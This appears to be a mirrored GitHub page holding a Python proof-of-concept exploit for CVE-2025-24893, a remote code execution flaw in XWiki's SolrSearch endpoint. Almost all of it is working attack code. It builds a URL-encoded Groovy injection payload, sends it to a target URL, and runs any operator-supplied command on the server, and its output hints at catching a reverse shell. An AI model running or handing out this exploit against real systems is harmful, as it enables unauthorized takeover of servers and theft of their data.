mirror of
https://github.com/andwati/CVE-2025-24893.git
synced 2026-10-18 00:22:52 +00:00
30 lines
1.0 KiB
Python
30 lines
1.0 KiB
Python
#!/usr/bin/env python3
|
|
import requests
|
|
import argparse
|
|
|
|
def exploit(url, command):
|
|
payload = (
|
|
f'%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d'
|
|
f'%7b%7bgroovy%7d%7dprintln("{command}".execute().text)'
|
|
f'%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d'
|
|
)
|
|
full_url = f"{url}/xwiki/bin/get/Main/SolrSearch?media=rss&text={payload}"
|
|
|
|
print(f"[*] Sending payload to: {full_url}")
|
|
try:
|
|
requests.get(full_url, timeout=10)
|
|
print("[+] Payload sent. If it's a reverse shell, check your listener.")
|
|
except requests.exceptions.RequestException as e:
|
|
print(f"[!] Connection error: {e}")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser(
|
|
description="Exploit XWiki SolrSearch RCE (CVE-2025-24893)"
|
|
)
|
|
parser.add_argument("-u", "--url", required=True, help="Target URL, e.g. http://10.10.10.10:8080")
|
|
parser.add_argument("-c", "--command", required=True, help="Command to execute")
|
|
args = parser.parse_args()
|
|
|
|
exploit(args.url.rstrip("/"), args.command)
|